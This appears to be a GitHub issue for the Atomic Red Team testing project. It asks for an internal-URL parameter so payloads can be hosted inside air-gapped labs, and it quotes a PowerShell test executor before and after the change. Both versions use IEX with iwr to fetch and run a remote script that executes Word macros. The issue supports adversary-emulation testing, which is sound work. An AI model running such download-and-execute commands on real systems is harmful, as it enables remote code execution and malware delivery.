-
Notifications
You must be signed in to change notification settings - Fork 232
Open
Description
For Test Labs that are air-gapped/isolated networks, it is useful to havethe option of specifying an internal URL where the payloads are hosted (e.g. internal web server).
E.g.
The 1055 - Test Number 1
executor:
command: |
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "#{txt_path}" -officeProduct "Word" -sub "Execute"
TO
executor:
command: |
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "#{url_path}/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "#{txt_path}" -officeProduct "Word" -sub "Execute"
Metadata
Metadata
Assignees
Labels
No labels